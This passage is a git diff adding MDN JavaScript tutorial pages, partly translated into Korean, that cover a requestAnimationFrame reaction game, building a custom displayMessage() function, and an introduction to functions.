+<p>One limitation of <code>requestAnimationFrame()</code> is that you can't choose your frame rate. This isn't a problem most of the time, as generally you want your animation to run as smoothly as possible, but what about when you want to create an old school, 8-bit-style animation?</p>
+
+<p>This was a problem for example in the Monkey Island-inspired walking animation from our <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing Graphics</a> article:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}}</p>
+
+<p>In this example we have to animate both the position of the character on the screen, and the sprite being shown. There are only 6 frames in the sprite's animation; if we showed a different sprite frame for every frame displayed on the screen by <code>requestAnimationFrame()</code>, Guybrush would move his limbs too fast and the animation would look ridiculous. We therefore throttled the rate at which the sprite cycles its frames using the following code:</p>
+
+<pre class="brush: js">if (posX % 13 === 0) {
+  if (sprite === 5) {
+    sprite = 0;
+  } else {
+    sprite++;
+  }
+}</pre>
+
+<p>So we are only cycling a sprite once every 13 animation frames. OK, so it's actually about every 6.5 frames, as we update <code>posX</code> (character's position on the screen) by two each frame:</p>
+
+<pre class="brush: js">if(posX &gt; width/2) {
+  newStartPos = -((width/2) + 102);
+  posX = Math.ceil(newStartPos / 13) * 13;
+  console.log(posX);
+} else {
+  posX += 2;
+}</pre>
+
+<p>This is the code that works out how to update the position in each animation frame.</p>
+
+<p>The method you use to throttle your animation will depend on your particular code. For example, in our spinner example we could make it appear to move slower by only increasing our <code>rotateCount</code> by one on each frame instead of two.</p>
+
+<h2 id="Active_learning_a_reaction_game">Active learning: a reaction game</h2>
+
+<p>For our final section of this article, we'll create a 2-player reaction game. Here we have two players, one of whom controls the game using the <kbd>A</kbd> key, and the other with the <kbd>L</kbd> key.</p>
+
+<p>When the <em>Start</em> button is pressed, a spinner like the one we saw earlier is displayed for a random amount of time between 5 and 10 seconds. After that time, a message will appear saying "PLAYERS GO!!" — once this happens, the first player to press their control button will win the game.</p>
+
+<p>{{EmbedGHLiveSample("learning-area/javascript/asynchronous/loops-and-intervals/reaction-game.html", '100%', 500)}}</p>
+
+<p>Let's work through this.</p>
+
+<ol>
+ <li>
+  <p>First of all, download the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/reaction-game-starter.html">starter file for the app</a> — this contains the finished HTML structure and CSS styling, giving us a game board that shows the two players' information (as seen above), but with the spinner and results paragraph displayed on top of one another. We just have to write the JavaScript code.</p>
+ </li>
+ <li>
+  <p>Inside the empty {{htmlelement("script")}} element on your page, start by adding the following lines of code that define some constants and variables we'll need in the rest of the code:</p>
+
+  <pre class="brush: js">const spinner = document.querySelector('.spinner p');
+const spinnerContainer = document.querySelector('.spinner');
+let rotateCount = 0;
+let startTime = null;
+let rAF;
+const btn = document.querySelector('button');
+const result = document.querySelector('.result');</pre>
+
+  <p>In order, these are:</p>
+
+  <ol>
+   <li>A reference to our spinner, so we can animate it.</li>
+   <li>A reference to the {{htmlelement("div")}} element that contains the spinner, used for showing and hiding it.</li>
+   <li>A rotate count — how much we want to show the spinner rotated on each frame of the animation.</li>
+   <li>A null start time — will be populated with a start time when the spinner starts spinning.</li>
+   <li>An uninitialized variable to later store the {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}} call that animates the spinner.</li>
+   <li>A reference to the Start button.</li>
+   <li>A reference to the results paragraph.</li>
+  </ol>
+ </li>
+ <li>
+  <p>Next, below the previous lines of code, add the following function. This simply takes two numerical inputs and returns a random number between the two. We'll need this to generate a random timeout interval later on.</p>
+
+  <pre class="brush: js">function random(min,max) {
+  var num = Math.floor(Math.random()*(max-min)) + min;
+  return num;
+}</pre>
+ </li>
+ <li>
+  <p>Next add in the <code>draw()</code> function, which animates the spinner. This is very similar to the version seen in the simple spinner example we looked at earlier:</p>
+
+  <pre class="brush: js">function draw(timestamp) {
+  if(!startTime) {
+   startTime = timestamp;
+  }
+
+  rotateCount = (timestamp - startTime) / 3;
+
+  if(rotateCount &gt; 359) {
+    rotateCount %= 360;
+  }
+
+  spinner.style.transform = 'rotate(' + rotateCount + 'deg)';
+  rAF = requestAnimationFrame(draw);
+}</pre>
+ </li>
+ <li>
+  <p>Now it is time to set up the initial state of the app when the page first loads. Add the following two lines, which simply hide the results paragraph and spinner container using <code>display: none;</code>.</p>
+
+  <pre class="brush: js">result.style.display = 'none';
+spinnerContainer.style.display = 'none';</pre>
+ </li>
+ <li>
+  <p>We'll also define a <code>reset()</code> function, which sets the app back to the original state required to start the game again after it has been played. Add the following at the bottom of your code:</p>
+
+  <pre class="brush: js">function reset() {
+  btn.style.display = 'block';
+  result.textContent = '';
+  result.style.display = 'none';
+}</pre>
+ </li>
+ <li>
+  <p>OK, enough preparation.  Let's make the game playable! Add the following block to your code. The <code>start()</code> function calls <code>draw()</code> to start the spinner spinning and display it in the UI, hides the <em>Start</em> button so we can't mess up the game by starting it multiple times concurrently, and runs a <code>setTimeout()</code> call that runs a <code>setEndgame()</code> function after a random interval between 5 and 10 seconds has passed. We also add an event listener to our button to run the <code>start()</code> function when it is clicked.</p>
+
+  <pre class="brush: js">btn.addEventListener('click', start);
+
+function start() {
+  draw();
+  spinnerContainer.style.display = 'block';
+  btn.style.display = 'none';
+  setTimeout(setEndgame, random(5000,10000));
+}</pre>
+
+  <div class="blockIndicator note">
+  <p><strong>Note</strong>: You'll see that in this example we are calling <code>setTimeout()</code> without storing the return value (so not <code>let myTimeout = setTimeout(functionName, interval)</code>). This works and is fine, as long as you don't need to clear your interval/timeout at any point. If you do, you'll need to save the returned identifier.</p>
+  </div>
+
+  <p>The net result of the previous code is that when the <em>Start</em> button is pressed, the spinner is shown and the players are made to wait a random amount of time before they are then asked to press their button. This last part is handled by the <code>setEndgame()</code> function, which we should define next.</p>
+ </li>
+ <li>
+  <p>So add the following function to your code next:</p>
+
+  <pre class="brush: js">function setEndgame() {
+  cancelAnimationFrame(rAF);
+  spinnerContainer.style.display = 'none';
+  result.style.display = 'block';
+  result.textContent = 'PLAYERS GO!!';
+
+  document.addEventListener('keydown', keyHandler);
+
+  function keyHandler(e) {
+    console.log(e.key);
+    if(e.key === 'a') {
+      result.textContent = 'Player 1 won!!';
+    } else if(e.key === 'l') {
+      result.textContent = 'Player 2 won!!';
+    }
+
+    document.removeEventListener('keydown', keyHandler);
+    setTimeout(reset, 5000);
+  };
+}</pre>
+
+  <p>Stepping through this:</p>
+
+  <ol>
+   <li>First we cancel the spinner animation with {{domxref("window.cancelAnimationFrame", "cancelAnimationFrame()")}} (it is always good to clean up unneeded processes), and hide the spinner container.</li>
+   <li>Next we display the results paragraph and set its text content to "PLAYERS GO!!" to signal to the players that they can now press their button to win.</li>
+   <li>We then attach a <code><a href="/en-US/docs/Web/API/Document/keydown_event">keydown</a></code> event listener to our document — when any button is pressed down, the <code>keyHandler()</code> function is run.</li>
+   <li>Inside <code>keyHandler()</code>, we include the event object as a parameter (represented by <code>e</code>) — its {{domxref("KeyboardEvent.key", "key")}} property contains the key that was just pressed, and we can use this to respond to specific key presses with specific actions.</li>
+   <li>We first log <code>e.key</code> to the console, which is a useful way of finding out the <code>key</code> value of different keys you are pressing.</li>
+   <li>When <code>e.key</code> is "a", we display a message to say that Player 1 won, and when <code>e.key</code> is "l", we display a message to say Player 2 won. Note that this will only work with lowercase a and l — if an uppercase A or L is submitted (the key plus <kbd>Shift</kbd>), it is counted as a different key.</li>
+   <li>Regardless of which one of the player control keys was pressed, we remove the <code>keydown</code> event listener using {{domxref("EventTarget.removeEventListener", "removeEventListener()")}} so that once the winning press has happened, no more keyboard input is possible to mess up the final game result. We also use <code>setTimeout()</code> to call <code>reset()</code> after 5 seconds — as we explained earlier, this function resets the game back to its original state so that a new game can be started.</li>
+  </ol>
+ </li>
+</ol>
+
+<p>That's it, you're all done.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: If you get stuck, check out <a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/reaction-game.html">our version of the reaction game</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/reaction-game.html">source code</a> also).</p>
+</div>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>So that's it — all the essentials of async loops and intervals covered in one article. You'll find these methods useful in a lot of situations, but take care not to overuse them — since these still run on the main thread, heavy and intensive callbacks (especially those that manipulate the DOM) can really slow down a page if you're not careful.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">General asynchronous programming concepts</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introducing asynchronous JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">Cooperative asynchronous JavaScript: Timeouts and intervals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with Promises</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">Making asynchronous programming easier with async and await</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choosing the right approach</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/building_blocks/build_your_own_function/index.html b/files/ko/learn/javascript/building_blocks/build_your_own_function/index.html
new file mode 100644
index 0000000000..e700eb083d
--- /dev/null
+++ b/files/ko/learn/javascript/building_blocks/build_your_own_function/index.html
@@ -0,0 +1,251 @@
+---
+title: Build your own function
+slug: Learn/JavaScript/Building_blocks/Build_your_own_function
+translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}</div>
+
+<p class="summary">이번 장에선 앞의 글에서 배운 function이론을 사용하여 사용자 정의 함수를 만들어 봅니다. 사용자 정의 함수 연습과 더불어, 함수를 다루는 몇 가지 유용한 사항들도 설명을 하겠습니다. </p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">알아야 할 것:</th>
+   <td>기본적인 컴퓨터 사용 능력, HTML과 CSS에 대한 기본적인 이해, 자바스크립트 첫걸음, 함수 - 재사용 가능한 블록 코드</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>사용자 정의 함수를 만드는 방법에 대한 몇가지 예제 제공, 그와 관련된 여러가지 유용한 세부 사항 설명. </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Active_learning_Lets_build_a_function">Active learning: Let's build a function</h2>
+
+<p>여기서 만들 사용자 정의 함수는 <code>displayMessage()</code>라고 명명하겠습니다. 이 함수는 내장함수 <a href="/en-US/docs/Web/API/Window/alert">alert()</a> 을 사용하여 메시지를 표시하는 대신 다른 방법으로 페이지에 메시지 박스를 만듭니다. 이전에도 봐온 기능이지만 다시한번 연습해보자는 의미로 브라우저의 JavaScript 콘솔에 아래처럼 입력하세요 :</p>
+
+<pre class="brush: js notranslate">alert('This is a message');</pre>
+
+<p><code>alert</code> 함수는 하나의 인수만 사용합니다. — 전달받는 인수는 브라우저의 alert박스에 표시됩니다. 인수를 다른 문자로 교체하여 시험해보세요.</p>
+
+<p><code>alert</code> 함수는 제한적 입니다. : 원하는 메시지를 출력할 순 있지만 글자 색, 아이콘 등 다른 요소는 첨부할 수 없습니다. 아래서 다른 방법을 사용하여 재미있는 무언가를 만드는 방법을 소개하겠습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 이 예제는 모든 모던 브라우저에서 잘 작동합니다. 하지만 조금 오래된 브라우저는 스타일이 이상하게 적용될 수 있습니다. 이번 예제를 원활하게 즐기려면 Firefox, Opera, Chrome 브라우저를 사용해주세요</p>
+</div>
+
+<h2 id="The_basic_function">The basic function</h2>
+
+<p>본격적으로 시작하기 앞서, 기본적인 함수를 만들어봅시다..</p>
+
+<div class="note">
+<p><strong>Note</strong>: 함수 명명규칙은 <a href="/en-US/Learn/JavaScript/First_steps/Variables#An_aside_on_variable_naming_rules">변수 명명규칙</a>과 동일하게 사용하는것이 좋습니다. 명명규칙이 동일해서 헷갈리지 않습니다.  — 함수는 이름 뒤에 ()괄호가 함께 쓰이지만 변수는 그렇지 않습니다.</p>
+</div>
+
+<ol>
+ <li><a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-start.html">function-start.html</a> 파일을 연습하고있는 컴퓨터에 복사하여 저장합니다. HTML 구조는 매우 간단합니다. — body 태그에는 한 개의 버튼이 있습니다. 그리고 style 태그에 메시지 박스를 위한 CSS 블럭이 있습니다. 그리고 비어있는 {{htmlelement("script")}} 엘리먼트에 연습할 자바스크립트 코드를 앞으로 쓰겠씁니다..</li>
+ <li>다음으로 아래의 코드를 <code>&lt;script&gt;</code> 엘리먼트에 써봅시다. :
+  <pre class="brush: js notranslate">function displayMessage() {
+
+}</pre>
+  <code>function</code>이라는 키워드로 블럭 작성을 시작했습니다. 이 의미는 방금 우리가 함수를 정의했다는 뜻 입니다. 그리고 뒤에는 만들고자 하는 이름을 정의했고, 괄호에 이어 중괄호를 넣었습니다. 함수에 전달하고자 하는 인수는 괄호()안에 작성합니다. 그리고 우리가 만들고자 하는 로직은 중괄호 안에 작성합니다..</li>
+ <li>마지막으로 아래의 코드를 중괄호 안에 작성합니다.:
+  <pre class="brush: js notranslate">const html = document.querySelector('html');
+
+const panel = document.createElement('div');
+panel.setAttribute('class', 'msgBox');
+html.appendChild(panel);
+
+const msg = document.createElement('p');
+msg.textContent = 'This is a message box';
+panel.appendChild(msg);
+
+const closeBtn = document.createElement('button');
+closeBtn.textContent = 'x';
+panel.appendChild(closeBtn);
+
+closeBtn.onclick = function() {
+  panel.parentNode.removeChild(panel);
+}</pre>
+ </li>
+</ol>
+
+<p>코드가 꽤 긴 편이니 조금씩 설명을 이어가겠습니다..</p>
+
+<p>첫 번째 줄에서 {{domxref("document.querySelector()")}} 라는 DOM API를 사용했습니다. 이 API는 {{htmlelement("html")}} 엘리먼트를 선택하여 <code>html</code>이라는 변수에 저장합니다. 따라서 아래와 같은 작업을 수행할 수 있습니다. :</p>
+
+<pre class="brush: js notranslate">const html = document.querySelector('html');</pre>
+
+<p>다음 줄에선 마찬가지로 DOM API인 {{domxref("document.createElement()")}} 을 사용하여 {{htmlelement("div")}} 엘리먼트를 생성한 후 <code>panel</code>변수에 저장합니다. 이 엘리먼트는 메시지 상자 바깥쪽 컨테이너가 될 것 입니다.</p>
+
+<p>그리고 또 다른 DOM API인 {{domxref("Element.setAttribute()")}} 을 사용하여 <code>class</code> 속성을 만들고 그 이름을 <code>msgBox</code>로 지정했습니다. 이 작업으로 스타일을 좀 더 쉽게 적용할 수 있습니다. — HTML 파일의 CSS 블럭을 살펴보면 <code>.msgBox</code> 클래스 셀렉터를 사용하여 메시지 박스와 그 내용을 스타일링할 수 있음을 알 수 있습니다.</p>
+
+<p>마지막으로, {{domxref("Node.appendChild()")}} DOM 함수를 사용하여 <code>html</code> 변수 안의 엘리먼트에 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">panel</span></font> 변수에 저장된 <code>&lt;div&gt;</code>엘리먼트를 자식 엘리먼트로 삽입했습니다. 변수 선언만으로는 페이지에 표시할 수 없습니다. 반드시 아래처럼 작성하여 엘리먼트가 어디에 표시되는지 명시할 필요가 있습니다. </p>
+
+<pre class="brush: js notranslate">const panel = document.createElement('div');
+panel.setAttribute('class', 'msgBox');
+html.appendChild(panel);</pre>
+
+<p>다음 두 섹션은 위에서 봤던것과 동일한 <code>createElement()</code> 그리고 <code>appendChild()</code> 함수를 사용합니다. —  {{htmlelement("p")}} 그리고 {{htmlelement("button")}} — 만들어  <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">panel</span></font>의 <code>&lt;div&gt;</code>태그의 자식 엘리먼트로 넣습니다. 우리는 {{domxref("Node.textContent")}} 속성을 사용하여 버튼에 x 라는 글자를 새겨넣습니다. 이 버튼은 사용자가 메시지 박스를 닫기를 원할 때 클릭/활성화 해야 하는 버튼입니다..</p>
+
+<pre class="brush: js notranslate">const msg = document.createElement('p');
+msg.textContent = 'This is a message box';
+panel.appendChild(msg);
+
+const closeBtn = document.createElement('button');
+closeBtn.textContent = 'x';
+panel.appendChild(closeBtn);</pre>
+
+<p>마지막으로 {{domxref("GlobalEventHandlers.onclick")}} 이벤트 핸들러를 사용하여 사용자가 x버튼을 클릭하면 메시지상자를 닫을 수 있게 만듭니다. </p>
+
+<p>간단히 말하면 <code>onclick</code> 핸들러는 버튼 (또는 실제 페이지의 다른 엘리먼트) 에서 사용할 수 있으며 버튼이 클릭됐을때 실행될 코드를 작성할 수 있습니다. 더 자세한 기능은 <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">events article</a>을 참조하세요. 이제 <code>onclick</code> 핸들러를 익명 함수와 동일하게 만들고, 그 안에 버튼이 클릭됐을 때 실행될 코드를 작성합니다. 함수 안쪽에서 {{domxref("Node.removeChild()")}} DOM API 함수를 사용하여 HTML 엘리먼트를 삭제하도록 명령합니다. — 이 경우 <code>panel</code> 변수의 <code>&lt;div&gt;</code>입니다.</p>
+
+<pre class="brush: js notranslate">closeBtn.onclick = function() {
+  panel.parentNode.removeChild(panel);
+}</pre>
+
+<p>기본적으로 전체 코드 블럭은 아래처럼 보이는 HTML 블록을 생성하고 페이지에 나타내줍니다. :</p>
+
+<pre class="brush: html notranslate">&lt;div class="msgBox"&gt;
+  &lt;p&gt;This is a message box&lt;/p&gt;
+  &lt;button&gt;x&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<p>많은 코드를 살펴봤습니다. — 예제에 포함된 CSS코드를 포함한 모든 코드를 지금 당장 이해할 필요는 없습니다. 이 예제에서 중점적으로 다루고자 하는 부분은 함수의 구조와 사용 방법 이었습니다. CSS 코드는 학습자의 흥미를 유도하기 위해 재미있는 것을 보여주고자 만들었습니다.</p>
+
+<h2 id="Calling_the_function">Calling the function</h2>
+
+<p>You've now got your function definition written into your <code>&lt;script&gt;</code> element just fine, but it will do nothing as it stands.</p>
+
+<ol>
+ <li>Try including the following line below your function to call it:
+  <pre class="brush: js notranslate">displayMessage();</pre>
+  This line invokes the function, making it run immediately. When you save your code and reload it in the browser, you'll see the little message box appear immediately, only once. We are only calling it once, after all.</li>
+ <li>
+  <p>Now open your browser developer tools on the example page, go to the JavaScript console and type the line again there, you'll see it appear again! So this is fun — we now have a reusable function that we can call any time we like.</p>
+
+  <p>But we probably want it to appear in response to user and system actions. In a real application, such a message box would probably be called in response to new data being available, or an error having occurred, or the user trying to delete their profile ("are you sure about this?"), or the user adding a new contact and the operation completing successfully, etc.</p>
+
+  <p>In this demo, we'll get the message box to appear when the user clicks the button.</p>
+ </li>
+ <li>Delete the previous line you added.</li>
+ <li>Next, we'll select the button and store a reference to it in a constant. Add the following line to your code, above the function definition:
+  <pre class="brush: js notranslate">const btn = document.querySelector('button');</pre>
+ </li>
+ <li>Finally, add the following line below the previous one:
+  <pre class="brush: js notranslate">btn.onclick = displayMessage;</pre>
+  In a similar way to our <code>closeBtn.onclick...</code> line inside the function, here we are calling some code in response to a button being clicked. But in this case, instead of calling an anonymous function containing some code, we are calling our function name directly.</li>
+ <li>Try saving and refreshing the page — now you should see the message box appear when you click the button.</li>
+</ol>
+
+<p>You might be wondering why we haven't included the parentheses after the function name. This is because we don't want to call the function immediately — only after the button has been clicked. If you try changing the line to</p>
+
+<pre class="brush: js notranslate">btn.onclick = displayMessage();</pre>
+
+<p>and saving and reloading, you'll see that the message box appears without the button being clicked! The parentheses in this context are sometimes called the "function invocation operator". You only use them when you want to run the function immediately in the current scope. In the same respect, the code inside the anonymous function is not run immediately, as it is inside the function scope.</p>
+
+<p>If you tried the last experiment, make sure to undo the last change before carrying on.</p>
+
+<h2 id="Improving_the_function_with_parameters">Improving the function with parameters</h2>
+
+<p>As it stands, the function is still not very useful — we don't want to just show the same default message every time. Let's improve our function by adding some parameters, allowing us to call it with some different options.</p>
+
+<ol>
+ <li>First of all, update the first line of the function:
+  <pre class="brush: js notranslate">function displayMessage() {</pre>
+
+  <div>to this:</div>
+
+  <pre class="brush: js notranslate">function displayMessage(msgText, msgType) {</pre>
+  Now when we call the function, we can provide two variable values inside the parentheses to specify the message to display in the message box, and the type of message it is.</li>
+ <li>To make use of the first parameter, update the following line inside your function:
+  <pre class="brush: js notranslate">msg.textContent = 'This is a message box';</pre>
+
+  <div>to</div>
+
+  <pre class="brush: js notranslate">msg.textContent = msgText;</pre>
+ </li>
+ <li>Last but not least, you now need to update your function call to include some updated message text. Change the following line:
+  <pre class="brush: js notranslate">btn.onclick = displayMessage;</pre>
+
+  <div>to this block:</div>
+
+  <pre class="brush: js notranslate">btn.onclick = function() {
+  displayMessage('Woo, this is a different message!');
+};</pre>
+  If we want to specify parameters inside parentheses for the function we are calling, then we can't call it directly — we need to put it inside an anonymous function so that it isn't in the immediate scope and therefore isn't called immediately. Now it will not be called until the button is clicked.</li>
+ <li>Reload and try the code again and you'll see that it still works just fine, except that now you can also vary the message inside the parameter to get different messages displayed in the box!</li>
+</ol>
+
+<h3 id="A_more_complex_parameter">A more complex parameter</h3>
+
+<p>On to the next parameter. This one is going to involve slightly more work — we are going to set it so that depending on what the <code>msgType</code> parameter is set to, the function will display a different icon and a different background color.</p>
+
+<ol>
+ <li>First of all, download the icons needed for this exercise (<a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/warning.png">warning</a> and <a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/chat.png">chat</a>) from GitHub. Save them in a new folder called <code>icons</code> in the same location as your HTML file.
+
+  <div class="note"><strong>Note</strong>: The warning and chat icons were originally found on <a href="https://www.iconfinder.com/">iconfinder.com</a>, and designed by <a href="https://www.iconfinder.com/nazarr">Nazarrudin Ansyari</a> — Thanks! (The actual icon pages were since moved or removed.)</div>
+ </li>
+ <li>Next, find the CSS inside your HTML file. We'll make a few changes to make way for the icons. First, update the <code>.msgBox</code> width from:
+  <pre class="brush: css notranslate">width: 200px;</pre>
+
+  <div>to</div>
+
+  <pre class="brush: css notranslate">width: 242px;</pre>
+ </li>
+ <li>Next, add the following lines inside the <code>.msgBox p { ... }</code> rule:
+  <pre class="brush: css notranslate">padding-left: 82px;
+background-position: 25px center;
+background-repeat: no-repeat;</pre>
+ </li>
+ <li>Now we need to add code to our <code>displayMessage()</code> function to handle displaying the icons. Add the following block just above the closing curly brace (<code>}</code>) of your function:
+  <pre class="brush: js notranslate">if (msgType === 'warning') {
+  msg.style.backgroundImage = 'url(icons/warning.png)';
+  panel.style.backgroundColor = 'red';
+} else if (msgType === 'chat') {
+  msg.style.backgroundImage = 'url(icons/chat.png)';
+  panel.style.backgroundColor = 'aqua';
+} else {
+  msg.style.paddingLeft = '20px';
+}</pre>
+  Here, if the <code>msgType</code> parameter is set as <code>'warning'</code>, the warning icon is displayed and the panel's background color is set to red. If it is set to <code>'chat'</code>, the chat icon is displayed and the panel's background color is set to aqua blue. If the <code>msgType</code> parameter is not set at all (or to something different), then the <code>else { ... }</code> part of the code comes into play, and the paragraph is simply given default padding and no icon, with no background panel color set either. This provides a default state if no <code>msgType</code> parameter is provided, meaning that it is an optional parameter!</li>
+ <li>Let's test out our updated function, try updating the <code>displayMessage()</code> call from this:
+  <pre class="brush: js notranslate">displayMessage('Woo, this is a different message!');</pre>
+
+  <div>to one of these:</div>
+
+  <pre class="brush: js notranslate">displayMessage('Your inbox is almost full — delete some mails', 'warning');
+displayMessage('Brian: Hi there, how are you today?','chat');</pre>
+  You can see how useful our (now not so) little function is becoming.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: If you have trouble getting the example to work, feel free to check your code against the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html">finished version on GitHub</a> (<a href="http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-stage-4.html">see it running live</a> also), or ask us for help.</p>
+</div>
+
+<h2 id="Test_your_skills!">Test your skills!</h2>
+
+<p>You've reached the end of this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on — see <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Test_your_skills:_Functions">Test your skills: Functions</a>. These tests require skills that are covered in the next article, so you might want to read those first before trying it.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Congratulations on reaching the end! This article took you through the entire process of building up a practical custom function, which with a bit more work could be transplanted into a real project. In the next article we'll wrap up functions by explaining another essential related concept — return values.</p>
+
+<ul>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Looping code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">Function return values</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Image gallery</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/building_blocks/functions/index.html b/files/ko/learn/javascript/building_blocks/functions/index.html
new file mode 100644
index 0000000000..4cc3420afe
--- /dev/null
+++ b/files/ko/learn/javascript/building_blocks/functions/index.html
@@ -0,0 +1,394 @@
+---
+title: 함수 — 재사용 가능한 코드 블록
+slug: Learn/JavaScript/Building_blocks/Functions
+translation_of: Learn/JavaScript/Building_blocks/Functions
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}</div>
+
+<p class="summary">코딩에 있어서 또 하나의 중요한 개념은 바로 '함수'입니다. 함수란, 한 가지의 일을 수행하는 코드가 블럭으로 묶여있는 것을 말하며, 간단한 명령만으로 동일한 코드를 필요한 곳마다 반복해서 사용하지 않을 수 있게 만들어 줍니다. 이번 장에서는 함수에 대한 기본 문법과 파라미터(parameter) 및 범위(scope), 그리고 호출 방법에 대해 설명합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">필요 사항:</th>
+   <td>기본적인 컴퓨터 활용 능력, HTML과 CSS의 기본적인 이해, <a href="/en-US/docs/Learn/JavaScript/First_steps">자바스크립트 첫 단계</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>JavaScript 함수의 기본 개념을 이해합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="함수는_어디에서_찾을_수_있나요">함수는 어디에서 찾을 수 있나요?</h2>
+
+<p>자바스크립트 어디서든 함수를 찾을 수 있습니다. 사실, 우리는 지금까지 수업에서 함수를 계속 사용해왔습니다; 함수에 대해서 그렇게 말해오지 않았을 뿐이죠. 그러나 이제 함수에 대해서 분명하게 말하고, 실제로 문법을 탐험할 때가 되었습니다. </p>
+
+<p> <a href="/ko/docs/Learn/JavaScript/Building_blocks/Looping_code#%EB%A3%A8%ED%94%84%EC%9D%98_%ED%91%9C%EC%A4%80">for loop</a>, <a href="/ko/docs/Learn/JavaScript/Building_blocks/Looping_code#while_%EA%B7%B8%EB%A6%AC%EA%B3%A0_do_..._while">while 과 do...while loop</a>, 또는 <a href="/ko/docs/Learn/JavaScript/Building_blocks/%EC%A1%B0%EA%B1%B4%EB%AC%B8#if_..._else_%EB%AC%B8">if...else문</a>과 같은 일반적인 내장 언어 구조를 사용하지 <strong>않고</strong> — <code>()</code> —같은 괄호 쌍을 사용했다면 당신은 함수를 사용하고 있던 겁니다</p>
+
+<h2 id="브라우저_내장_함수">브라우저 내장 함수</h2>
+
+<p>우리는 이 코스에서 많은 브라우저 빌트인 함수를 사용해왔습니다.<br>
+ 예를 들어, 우리가 매번 텍스트 string을 조작할 때마다:</p>
+
+<pre class="brush: js notranslate">var myText = 'I am a string';
+var newString = myText.replace('string', 'sausage');
+console.log(newString);
+// the replace() string function takes a string,
+// replaces one substring with another, and returns
+// a new string with the replacement made</pre>
+
+<p>또는 우리가 배열을 조작할 때마다:</p>
+
+<pre class="brush: js notranslate">var myArray = ['I', 'love', 'chocolate', 'frogs'];
+var madeAString = myArray.join(' ');
+console.log(madeAString);
+// the join() function takes an array, joins
+// all the array items together into a single
+// string, and returns this new string</pre>
+
+<p>또는 우리가 무작위의 숫자를 생성할 때마다:</p>
+
+<pre class="brush: js notranslate">var myNumber = Math.random();
+// the random() function generates a random
+// number between 0 and 1, and returns that
+// number</pre>
+
+<p>...우리는 함수를 사용하고 있었어요!</p>
+
+<div class="note">
+<p><strong>Note</strong>: Feel free to enter these lines into your browser's JavaScript console to re-familiarize yourself with their functionality, if needed.</p>
+</div>
+
